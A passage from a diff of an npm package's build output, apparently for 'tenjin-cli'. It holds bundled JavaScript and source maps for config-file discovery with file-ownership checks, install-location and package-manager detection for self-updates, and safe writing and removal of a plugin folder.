...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAA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,CAAC;AACH;","names":["resolve"]}
|
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
MOD_FILES,
|
|
4
|
+
OWNER_MARKER,
|
|
5
|
+
PLUGIN_FILES
|
|
6
|
+
} from "./chunk-LRW6S53P.js";
|
|
7
|
+
import {
|
|
8
|
+
PLUGIN_NAME
|
|
9
|
+
} from "./chunk-MPZUYCAP.js";
|
|
10
|
+
import {
|
|
11
|
+
writeFileAtomic
|
|
12
|
+
} from "./chunk-7WEQQJLG.js";
|
|
13
|
+
import {
|
|
14
|
+
CliError
|
|
15
|
+
} from "./chunk-3UCIG4TG.js";
|
|
16
|
+
|
|
17
|
+
// src/lib/install-location.ts
|
|
18
|
+
import { existsSync, realpathSync, statSync } from "node:fs";
|
|
19
|
+
import { delimiter, dirname, join, sep } from "node:path";
|
|
20
|
+
var REFUSALS = [
|
|
21
|
+
{
|
|
22
|
+
test: isSourceCheckout,
|
|
23
|
+
error: () => new CliError("REFUSED", "tenjin-cli is running from a source checkout, not an install", {
|
|
24
|
+
fix: "Update the checkout instead: git pull && pnpm install"
|
|
25
|
+
}),
|
|
26
|
+
needsVersion: false,
|
|
27
|
+
appliesToCheck: false
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
test: (moduleDir) => moduleDir.split(sep).includes("_npx"),
|
|
31
|
+
error: (spec) => new CliError("REFUSED", "tenjin-cli is running from the npx cache, not an install", {
|
|
32
|
+
// Writing a global here would "succeed" and change nothing: the next
|
|
33
|
+
// `npx tenjin` still resolves its own cached copy.
|
|
34
|
+
fix: `npx fetches its own copy every time. To keep one: npm i -g ${spec}`
|
|
35
|
+
}),
|
|
36
|
+
needsVersion: true,
|
|
37
|
+
appliesToCheck: false
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
// The ONLY manager still refused. `yarn global add` is yarn-1 only, and
|
|
41
|
+
// berry dropped global installs altogether, so there is no one command this
|
|
42
|
+
// can drive across the versions a user might have. Every other manager is
|
|
43
|
+
// delegated to rather than refused (see MANAGERS).
|
|
44
|
+
test: (moduleDir) => classifyManager(moduleDir) === "yarn",
|
|
45
|
+
error: (spec) => new CliError(
|
|
46
|
+
"REFUSED",
|
|
47
|
+
"This tenjin-cli was installed with yarn, whose global install exists only in yarn 1",
|
|
48
|
+
{ fix: `yarn global add ${spec}` }
|
|
49
|
+
),
|
|
50
|
+
needsVersion: true,
|
|
51
|
+
appliesToCheck: false
|
|
52
|
+
},
|
|
53
|
+
{
|
|
54
|
+
// Scoped to npm on purpose: the prefix-vs-project-root test is written for
|
|
55
|
+
// npm's layout. pnpm's global store and bun's global dir both keep a
|
|
56
|
+
// package.json beside `node_modules`, so an unscoped test would read either
|
|
57
|
+
// as a project-local install and refuse the very case we now delegate.
|
|
58
|
+
test: (moduleDir) => classifyManager(moduleDir) === "npm" && !isGlobalTree(moduleDir),
|
|
59
|
+
error: (spec) => new CliError(
|
|
60
|
+
"REFUSED",
|
|
61
|
+
"This tenjin-cli is a project-local dependency, not a global install",
|
|
62
|
+
{
|
|
63
|
+
fix: `Update it where it is declared: npm i ${spec}`
|
|
64
|
+
}
|
|
65
|
+
),
|
|
66
|
+
needsVersion: true,
|
|
67
|
+
appliesToCheck: false
|
|
68
|
+
}
|
|
69
|
+
];
|
|
70
|
+
function refuse(moduleDir, opts) {
|
|
71
|
+
for (const entry of REFUSALS) {
|
|
72
|
+
if (opts.check && !entry.appliesToCheck) continue;
|
|
73
|
+
if (entry.needsVersion !== (opts.spec !== null)) continue;
|
|
74
|
+
if (entry.test(moduleDir)) throw entry.error(opts.spec ?? "", moduleDir);
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
function isSourceCheckout(moduleDir) {
|
|
78
|
+
let dir = moduleDir;
|
|
79
|
+
for (let i = 0; i < 8; i += 1) {
|
|
80
|
+
if (existsSync(join(dir, "package.json"))) return existsSync(join(dir, "src"));
|
|
81
|
+
const parent = dirname(dir);
|
|
82
|
+
if (parent === dir) break;
|
|
83
|
+
dir = parent;
|
|
84
|
+
}
|
|
85
|
+
return false;
|
|
86
|
+
}
|
|
87
|
+
function isGlobalTree(moduleDir) {
|
|
88
|
+
const segs = moduleDir.split(sep);
|
|
89
|
+
const i = segs.lastIndexOf("node_modules");
|
|
90
|
+
if (i <= 0) return false;
|
|
91
|
+
return !existsSync(join(segs.slice(0, i).join(sep), "package.json"));
|
|
92
|
+
}
|
|
93
|
+
function classifyManager(moduleDir) {
|
|
94
|
+
const segs = moduleDir.split(sep);
|
|
95
|
+
const pair = (a, b) => segs.includes(a) && segs.includes(b);
|
|
96
|
+
if (segs.includes(".pnpm") || pair("pnpm", "global")) return "pnpm";
|
|
97
|
+
if (segs.includes(".bun")) return "bun";
|
|
98
|
+
if (segs.includes(".yarn") || pair("yarn", "global")) return "yarn";
|
|
99
|
+
return "npm";
|
|
100
|
+
}
|
|
101
|
+
var MANAGERS = {
|
|
102
|
+
npm: {
|
|
103
|
+
bin: "npm",
|
|
104
|
+
scriptSuffixes: ["npm-cli.js"],
|
|
105
|
+
besideNode: true,
|
|
106
|
+
args: (spec) => ["install", "-g", "--ignore-scripts", spec],
|
|
107
|
+
manual: (spec) => `npm i -g ${spec}`
|
|
108
|
+
},
|
|
109
|
+
pnpm: {
|
|
110
|
+
bin: "pnpm",
|
|
111
|
+
// corepack's shim resolves to `pnpm.js`, a standalone install to `pnpm.cjs`.
|
|
112
|
+
scriptSuffixes: [".cjs", ".js"],
|
|
113
|
+
besideNode: false,
|
|
114
|
+
args: (spec) => ["add", "-g", "--ignore-scripts", spec],
|
|
115
|
+
manual: (spec) => `pnpm add -g ${spec}`
|
|
116
|
+
},
|
|
117
|
+
bun: {
|
|
118
|
+
bin: "bun",
|
|
119
|
+
scriptSuffixes: [],
|
|
120
|
+
besideNode: false,
|
|
121
|
+
// No --ignore-scripts: bun's flag surface for it is not stable across the
|
|
122
|
+
// versions in the wild, and an unknown flag would fail the install outright.
|
|
123
|
+
args: (spec) => ["add", "-g", spec],
|
|
124
|
+
manual: (spec) => `bun add -g ${spec}`
|
|
125
|
+
}
|
|
126
|
+
};
|
|
127
|
+
function resolveManagerScript(manager, execPath, env = process.env) {
|
|
128
|
+
const plan = MANAGERS[manager];
|
|
129
|
+
if (plan.scriptSuffixes.length === 0) return null;
|
|
130
|
+
const beside = plan.besideNode ? scriptNear(dirname(execPath), plan.bin) : null;
|
|
131
|
+
return beside ?? scriptOnPath(plan.bin, plan.scriptSuffixes, env);
|
|
132
|
+
}
|
|
133
|
+
function scriptNear(dir, bin) {
|
|
134
|
+
const candidates = [
|
|
135
|
+
join(dir, "node_modules", bin, "bin", `${bin}-cli.js`),
|
|
136
|
+
join(dir, "..", "lib", "node_modules", bin, "bin", `${bin}-cli.js`)
|
|
137
|
+
];
|
|
138
|
+
return candidates.find(isFile) ?? null;
|
|
139
|
+
}
|
|
140
|
+
function scriptOnPath(bin, suffixes, env) {
|
|
141
|
+
const exts = process.platform === "win32" ? ["", ...(env.PATHEXT ?? ".EXE;.CMD;.BAT;.COM").split(";").filter((e) => e.length > 0)] : [""];
|
|
142
|
+
for (const part of (env.PATH ?? "").split(delimiter)) {
|
|
143
|
+
if (part.length === 0) continue;
|
|
144
|
+
for (const ext of exts) {
|
|
145
|
+
if (!isFile(join(part, `${bin}${ext}`))) continue;
|
|
146
|
+
const real = realpathOrNull(join(part, `${bin}${ext}`));
|
|
147
|
+
if (real !== null && suffixes.some((suffix) => real.endsWith(suffix))) return real;
|
|
148
|
+
const near = scriptNear(part, bin);
|
|
149
|
+
if (near !== null) return near;
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
return null;
|
|
153
|
+
}
|
|
154
|
+
function isFile(p) {
|
|
155
|
+
try {
|
|
156
|
+
return statSync(p).isFile();
|
|
157
|
+
} catch {
|
|
158
|
+
return false;
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
function realpathOrNull(p) {
|
|
162
|
+
try {
|
|
163
|
+
return realpathSync(p);
|
|
164
|
+
} catch {
|
|
165
|
+
return null;
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
// src/router/plugin-folder.ts
|
|
170
|
+
import { lstat, readdir, readFile, rm, rmdir } from "node:fs/promises";
|
|
171
|
+
import { dirname as dirname2, join as join2, relative, sep as sep2 } from "node:path";
|
|
172
|
+
var FOLDER_NAME = "tenjin-router";
|
|
173
|
+
async function readModSources(pluginDir) {
|
|
174
|
+
const entries = await Promise.all(
|
|
175
|
+
MOD_FILES.map(async (path) => [path, await readFile(join2(pluginDir, path), "utf8")])
|
|
176
|
+
).catch(() => null);
|
|
177
|
+
return entries === null ? void 0 : Object.fromEntries(entries);
|
|
178
|
+
}
|
|
179
|
+
function pluginFolderPath(base) {
|
|
180
|
+
return join2(base, "skills", FOLDER_NAME);
|
|
181
|
+
}
|
|
182
|
+
async function inspectPluginFolder(dir) {
|
|
183
|
+
const entry = await lstat(dir).catch(() => null);
|
|
184
|
+
if (entry === null) return "absent";
|
|
185
|
+
if (!entry.isDirectory() || entry.isSymbolicLink()) return "foreign";
|
|
186
|
+
try {
|
|
187
|
+
const manifest = JSON.parse(
|
|
188
|
+
await readFile(join2(dir, ".claude-plugin", "plugin.json"), "utf8")
|
|
189
|
+
);
|
|
190
|
+
const marked = manifest.metadata !== null && typeof manifest.metadata === "object" && OWNER_MARKER in manifest.metadata;
|
|
191
|
+
return manifest.name === PLUGIN_NAME && marked ? "ours" : "foreign";
|
|
192
|
+
} catch {
|
|
193
|
+
return "foreign";
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
async function linkedParent(dir, path) {
|
|
197
|
+
const parents = [];
|
|
198
|
+
for (let d = dirname2(path); d !== "."; d = dirname2(d)) parents.unshift(d);
|
|
199
|
+
for (const parent of parents) {
|
|
200
|
+
const entry = await lstat(join2(dir, parent)).catch(() => null);
|
|
201
|
+
if (entry === null) return null;
|
|
202
|
+
if (entry.isSymbolicLink() || !entry.isDirectory()) return parent;
|
|
203
|
+
}
|
|
204
|
+
return null;
|
|
205
|
+
}
|
|
206
|
+
async function writePluginFolder(dir, files) {
|
|
207
|
+
const state = await inspectPluginFolder(dir);
|
|
208
|
+
if (state === "foreign") {
|
|
209
|
+
return {
|
|
210
|
+
path: dir,
|
|
211
|
+
state: "refused",
|
|
212
|
+
reason: `${dir} exists and is not a folder this CLI wrote, so it was left as it is`
|
|
213
|
+
};
|
|
214
|
+
}
|
|
215
|
+
for (const path of PLUGIN_FILES) {
|
|
216
|
+
const linked = await linkedParent(dir, path);
|
|
217
|
+
if (linked !== null) {
|
|
218
|
+
return {
|
|
219
|
+
path: dir,
|
|
220
|
+
state: "refused",
|
|
221
|
+
reason: `${join2(dir, linked)} is a link or not a folder, so nothing in ${dir} was written`
|
|
222
|
+
};
|
|
223
|
+
}
|
|
224
|
+
}
|
|
225
|
+
try {
|
|
226
|
+
for (const path of PLUGIN_FILES) {
|
|
227
|
+
const body = files[path];
|
|
228
|
+
if (body === void 0) continue;
|
|
229
|
+
await writeFileAtomic(join2(dir, path), body);
|
|
230
|
+
}
|
|
231
|
+
} catch (err) {
|
|
232
|
+
return {
|
|
233
|
+
path: dir,
|
|
234
|
+
state: "refused",
|
|
235
|
+
reason: err instanceof Error ? err.message : String(err)
|
|
236
|
+
};
|
|
237
|
+
}
|
|
238
|
+
return { path: dir, state: "written" };
|
|
239
|
+
}
|
|
240
|
+
async function removePluginFolder(dir) {
|
|
241
|
+
const state = await inspectPluginFolder(dir);
|
|
242
|
+
if (state === "absent") return { path: dir, removed: false, left: [] };
|
|
243
|
+
if (state === "foreign") {
|
|
244
|
+
return {
|
|
245
|
+
path: dir,
|
|
246
|
+
removed: false,
|
|
247
|
+
left: [],
|
|
248
|
+
reason: `${dir} is not a folder this CLI wrote, so nothing in it was removed`
|
|
249
|
+
};
|
|
250
|
+
}
|
|
251
|
+
for (const path of PLUGIN_FILES) {
|
|
252
|
+
if (await linkedParent(dir, path) === null) await rm(join2(dir, path), { force: true });
|
|
253
|
+
}
|
|
254
|
+
const subdirs = [
|
|
255
|
+
...new Set(
|
|
256
|
+
PLUGIN_FILES.flatMap((p) => {
|
|
257
|
+
const out = [];
|
|
258
|
+
for (let d = dirname2(p); d !== "."; d = dirname2(d)) out.push(d);
|
|
259
|
+
return out;
|
|
260
|
+
})
|
|
261
|
+
)
|
|
262
|
+
].sort((a, b) => b.split("/").length - a.split("/").length);
|
|
263
|
+
for (const sub of subdirs) await rmdir(join2(dir, sub)).catch(() => void 0);
|
|
264
|
+
const left = await listFiles(dir);
|
|
265
|
+
if (left.length === 0) await rmdir(dir).catch(() => void 0);
|
|
266
|
+
return { path: dir, removed: true, left };
|
|
267
|
+
}
|
|
268
|
+
async function listFiles(dir) {
|
|
269
|
+
const out = [];
|
|
270
|
+
const walk = async (current) => {
|
|
271
|
+
for (const entry of await readdir(current, { withFileTypes: true }).catch(() => [])) {
|
|
272
|
+
const path = join2(current, entry.name);
|
|
273
|
+
if (entry.isDirectory()) await walk(path);
|
|
274
|
+
else out.push(relative(dir, path).split(sep2).join("/"));
|
|
275
|
+
}
|
|
276
|
+
};
|
|
277
|
+
await walk(dir);
|
|
278
|
+
return out.sort();
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
export {
|
|
282
|
+
refuse,
|
|
283
|
+
isSourceCheckout,
|
|
284
|
+
classifyManager,
|
|
285
|
+
MANAGERS,
|
|
286
|
+
resolveManagerScript,
|
|
287
|
+
readModSources,
|
|
288
|
+
pluginFolderPath,
|
|
289
|
+
inspectPluginFolder,
|
|
290
|
+
writePluginFolder,
|
|
291
|
+
removePluginFolder
|
|
292
|
+
};
|
|
293
|
+
//# sourceMappingURL=chunk-L6JEXB3E.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/install-location.ts","../src/router/plugin-folder.ts"],"sourcesContent":["import { existsSync, realpathSync, statSync } from 'node:fs';\nimport { delimiter, dirname, join, sep } from 'node:path';\nimport { CliError } from './errors';\n\n/**\n * WHERE this build is installed, and what that implies about replacing it.\n *\n * Its own module because it answers a different question from the command that\n * uses it: \"what IS this install\" rather than \"how do I replace it\". The\n * refusal set is the load-bearing part, and it got re-cut in three consecutive\n * reviews while it was expressed positionally inside the command body.\n */\n\n/** Managers a global install can be handed back to. yarn is deliberately absent\n * from the delegable set: see the yarn entry in REFUSALS. */\nexport type Delegable = 'npm' | 'pnpm' | 'bun';\n\n/**\n * One reason `npm install -g` would not actually replace THIS build.\n *\n * Each entry carries the three properties that decide WHEN it is evaluated,\n * because expressing them by where the line sat is what made this set get\n * re-cut three times: a missing entry, then a copy on the wrong side of the\n * fetch, then a duplicate that could not run. Declaring them means adding a\n * refusal is a matter of answering three questions, not of guessing a position.\n */\ninterface Refusal {\n /** Does this install location refuse? Pure filesystem, never the network. */\n test: (moduleDir: string) => boolean;\n error: (spec: string, moduleDir: string) => CliError;\n /**\n * Does the fix string name the version the registry just resolved? This is\n * also what decides whether the entry may run BEFORE the fetch: one that does\n * not need a version is evaluated first, so an offline user in a checkout is\n * told they are in a checkout rather than told to go debug their network.\n */\n needsVersion: boolean;\n /**\n * Does it apply to `--check`? Everything here is a reason not to WRITE, and\n * `--check` only reports, so today nothing does. An entry that ever answers\n * yes is one whose test says the REPORT would be wrong, not the install.\n */\n appliesToCheck: boolean;\n}\n\n/**\n * Ordered most-specific first: a checkout and an npx cache are recognizable\n * before any question of which manager or which tree, and the manager entry\n * precedes the global/local one because a pnpm or bun store has its own layout\n * that `isGlobalTree` is not written for.\n */\nexport const REFUSALS: readonly Refusal[] = [\n {\n test: isSourceCheckout,\n error: () =>\n new CliError('REFUSED', 'tenjin-cli is running from a source checkout, not an install', {\n fix: 'Update the checkout instead: git pull && pnpm install',\n }),\n needsVersion: false,\n appliesToCheck: false,\n },\n {\n test: (moduleDir) => moduleDir.split(sep).includes('_npx'),\n error: (spec) =>\n new CliError('REFUSED', 'tenjin-cli is running from the npx cache, not an install', {\n // Writing a global here would \"succeed\" and change nothing: the next\n // `npx tenjin` still resolves its own cached copy.\n fix: `npx fetches its own copy every time. To keep one: npm i -g ${spec}`,\n }),\n needsVersion: true,\n appliesToCheck: false,\n },\n {\n // The ONLY manager still refused. `yarn global add` is yarn-1 only, and\n // berry dropped global installs altogether, so there is no one command this\n // can drive across the versions a user might have. Every other manager is\n // delegated to rather than refused (see MANAGERS).\n test: (moduleDir) => classifyManager(moduleDir) === 'yarn',\n error: (spec) =>\n new CliError(\n 'REFUSED',\n 'This tenjin-cli was installed with yarn, whose global install exists only in yarn 1',\n { fix: `yarn global add ${spec}` },\n ),\n needsVersion: true,\n appliesToCheck: false,\n },\n {\n // Scoped to npm on purpose: the prefix-vs-project-root test is written for\n // npm's layout. pnpm's global store and bun's global dir both keep a\n // package.json beside `node_modules`, so an unscoped test would read either\n // as a project-local install and refuse the very case we now delegate.\n test: (moduleDir) => classifyManager(moduleDir) === 'npm' && !isGlobalTree(moduleDir),\n error: (spec) =>\n new CliError(\n 'REFUSED',\n 'This tenjin-cli is a project-local dependency, not a global install',\n {\n fix: `Update it where it is declared: npm i ${spec}`,\n },\n ),\n needsVersion: true,\n appliesToCheck: false,\n },\n];\n\n/**\n * Evaluate the refusal set, once per stage. `spec` is null before the registry\n * has been asked and the resolved `tenjin-cli@<version>` after, which is what\n * selects the eligible entries: every entry runs in exactly one stage, so no\n * refusal can be reached twice or, as in round three, be written twice and\n * reached once.\n */\nexport function refuse(moduleDir: string, opts: { check: boolean; spec: string | null }): void {\n for (const entry of REFUSALS) {\n if (opts.check && !entry.appliesToCheck) continue;\n if (entry.needsVersion !== (opts.spec !== null)) continue;\n if (entry.test(moduleDir)) throw entry.error(opts.spec ?? '', moduleDir);\n }\n}\n\n/**\n * The published package ships `dist/`, `docs/`, and `skills/` with no `src/`\n * beside them (the `files` array), so a `src/` next to the nearest package.json\n * means a checkout, whose version number says nothing about what HEAD holds.\n * Same test skill-heal uses to keep its hands off working-tree skills.\n */\nexport function isSourceCheckout(moduleDir: string): boolean {\n let dir = moduleDir;\n for (let i = 0; i < 8; i += 1) {\n if (existsSync(join(dir, 'package.json'))) return existsSync(join(dir, 'src'));\n const parent = dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n return false;\n}\n\n/**\n * Is this a GLOBAL npm tree? A global install sits under a prefix directory that\n * is not itself a package (`<prefix>/lib/node_modules/tenjin-cli` on POSIX,\n * `<prefix>\\node_modules\\tenjin-cli` on win32), while a project-local one sits\n * under the project root, which by definition has a package.json. That parent is\n * the whole test, which is why it holds for homebrew, nvm, volta and a\n * user-set `npm config prefix` alike without this code enumerating any of them.\n */\nexport function isGlobalTree(moduleDir: string): boolean {\n const segs = moduleDir.split(sep);\n const i = segs.lastIndexOf('node_modules');\n if (i <= 0) return false;\n return !existsSync(join(segs.slice(0, i).join(sep), 'package.json'));\n}\n\n/**\n * Which package manager owns this install, read off the on-disk path. Node\n * resolved the bin symlink before loading us, so the segments name the real\n * store: pnpm's virtual store keeps a literal `.pnpm` segment (or\n * `pnpm/global` for older layouts), bun installs under `.bun`, yarn under\n * `.yarn` or `yarn/global`. Everything else is treated as npm's tree; that\n * covers nvm and volta, both of which route `npm i -g` correctly.\n */\nexport function classifyManager(moduleDir: string): Delegable | 'yarn' {\n const segs = moduleDir.split(sep);\n const pair = (a: string, b: string): boolean => segs.includes(a) && segs.includes(b);\n if (segs.includes('.pnpm') || pair('pnpm', 'global')) return 'pnpm';\n if (segs.includes('.bun')) return 'bun';\n if (segs.includes('.yarn') || pair('yarn', 'global')) return 'yarn';\n return 'npm';\n}\n\n/**\n * How to perform a global install with each manager we delegate to.\n *\n * `scriptSuffixes` is what a PATH shim may resolve to that Node can run\n * directly, which is how win32 is served without a shell: npm and pnpm ship as\n * JS, so the child becomes `node <script>`. An empty list means the binary is\n * native (bun), where spawning it by name already works on every platform.\n */\nexport const MANAGERS: Record<\n Delegable,\n {\n bin: string;\n scriptSuffixes: readonly string[];\n /** Ships beside the running node, as npm does inside the Node distribution. */\n besideNode: boolean;\n args: (spec: string) => string[];\n manual: (spec: string) => string;\n }\n> = {\n npm: {\n bin: 'npm',\n scriptSuffixes: ['npm-cli.js'],\n besideNode: true,\n args: (spec) => ['install', '-g', '--ignore-scripts', spec],\n manual: (spec) => `npm i -g ${spec}`,\n },\n pnpm: {\n bin: 'pnpm',\n // corepack's shim resolves to `pnpm.js`, a standalone install to `pnpm.cjs`.\n scriptSuffixes: ['.cjs', '.js'],\n besideNode: false,\n args: (spec) => ['add', '-g', '--ignore-scripts', spec],\n manual: (spec) => `pnpm add -g ${spec}`,\n },\n bun: {\n bin: 'bun',\n scriptSuffixes: [],\n besideNode: false,\n // No --ignore-scripts: bun's flag surface for it is not stable across the\n // versions in the wild, and an unknown flag would fail the install outright.\n args: (spec) => ['add', '-g', spec],\n manual: (spec) => `bun add -g ${spec}`,\n },\n};\n\n/**\n * npm's own entry script, so the child can be `node npm-cli.js` rather than the\n * `npm` shim.\n *\n * On win32 the shim is `npm.cmd`, which Node refuses to spawn without\n * `shell: true`, and `shell: true` is exactly what this command must not do —\n * it would hand back the argv safety the pinned version buys.\n *\n * Deliberately NOT \"npm ships inside the Node distribution\". That is a property\n * of the installer, not of Node: Homebrew's plain `node` formula keeps only\n * corepack in the keg and puts npm at the brew prefix, so a probe relative to\n * `process.execPath` alone returns null on one of the most common macOS setups.\n * So the layout is searched, not assumed — beside the running binary first\n * (official tarball and installer, nvm, volta, versioned brew kegs), then off\n * PATH, where on POSIX the `npm` shim is itself a symlink to `npm-cli.js` and on\n * win32 `npm.cmd` has `node_modules` beside it. Still null when npm cannot be\n * found at all; the caller then falls back to the bare shim, which works\n * everywhere but win32 and fails closed there into UPDATE_FAILED carrying the\n * manual command.\n */\nexport function resolveNpmCli(\n execPath: string,\n env: NodeJS.ProcessEnv = process.env,\n): string | null {\n return resolveManagerScript('npm', execPath, env);\n}\n\n/**\n * The JS entry script 